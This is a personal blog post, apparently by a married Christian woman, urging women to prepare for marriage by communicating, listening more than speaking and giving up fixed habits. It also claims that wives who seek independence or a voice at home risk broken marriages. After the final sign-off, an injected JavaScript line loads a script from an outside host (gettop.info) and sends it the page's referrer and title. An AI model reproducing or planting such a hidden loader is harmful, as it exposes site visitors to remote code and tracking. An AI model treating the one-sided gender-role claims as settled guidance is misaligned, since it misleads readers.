It’s indeed been a while. I can’t begin to state the things that have been my major preoccupation of late, but in all, God has given me grace and capacity to handle them all. Today, i’ll talk to the ladies, because i’ve come to discover that they’re the more influential gender than the men, right?For the average girl, marriage looks like the next logical thing after graduation, youth service, a few yrs of working, a masters program (for the very career oriented ones); hence, there’s no proper understanding of this subject of marriage and so, no conscious preparation is made for this new phase of life. Ladies expect that once the basic things are in place for the guy – love for God, vision, values, blah blah blah, “things will just flow” and so, when things don’t “just flow”, they begin to wonder what went wrong.
A while ago, i was speaking with a lady who was engaged to be married, and she had read so many books, she was so informed, i was tripped! Before i got married, i did my own fair share of reading as well, but everything seemed to have disappeared when i got married….lol. Then i decided to start reading again. But then, i thought of this one thing, that i was married to one man and all i needed to do was to understand that one man and make the relationship between the both of us fantastic. Books help, but the decision to understand and be able to manage your spouse is by far more important. I started asking my husband questions i wanted to clarify, and we communicated about every single thing, and the bond between the both of us became stronger. I had to remind myself that this marriage was between the two of us and for it to be excellent, our lives had to be poured into each other; we had to each “leave our comfort zone and go the extra mile for each other”. I hear people say, “i can’t do that for him/her”, says who? If not him/her, then who?
Is it possible to hold on to some of the things that you believed “that’s how i am” and have a successful marriage? I’ll say an emphatic NO. A lady asked me, “will that not be pretending to be who i am not?”. I asked her “who are you?” The current “YOU” is a product of experiences over the years, and this current “YOU” is still work in progress and if the things that you need to do to have a healthy happy home don’t clash with your faith and values, then NIKE! Just do it! You’ve got at least 30years to practice these new things that will add spice and flavour to your marriage and life, and am sure after a few years, those things would’ve been a part of you.
I didn’t know MANY things when i newly got married, but one thing that helped was the fact that i listened, asked questions, and was willing to learn. As a woman, if you listen more than you speak, you stand the chance of a good marriage.
Some women might be quick to say am being unfair, and that it’s not purely a man’s world. I like to be true to myself. Show me a woman who fights with her husband for independence and a voice in her home, and i’ll show you one with a near broken down home. I’ll also say as i round up emphatically that it’s not a sin to remain single. If you can’t cope with the demands and sacrifices that come with being married, then by all means, enjoy your freedom as a single; afterall, God will not penalize us for not being married when we die. This article is simply for people who truly desire a fantastic marriage and i’ll encourage you to give it your best shot, prepare to go into marriage with an “open, ready to give and learn” mind. Your home will create the environment where those lofty goals will either blossom or be snuffed out. You owe it to yourself to be prepared for it, because when you do, you can have the world at your feet!
Have a great week!s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;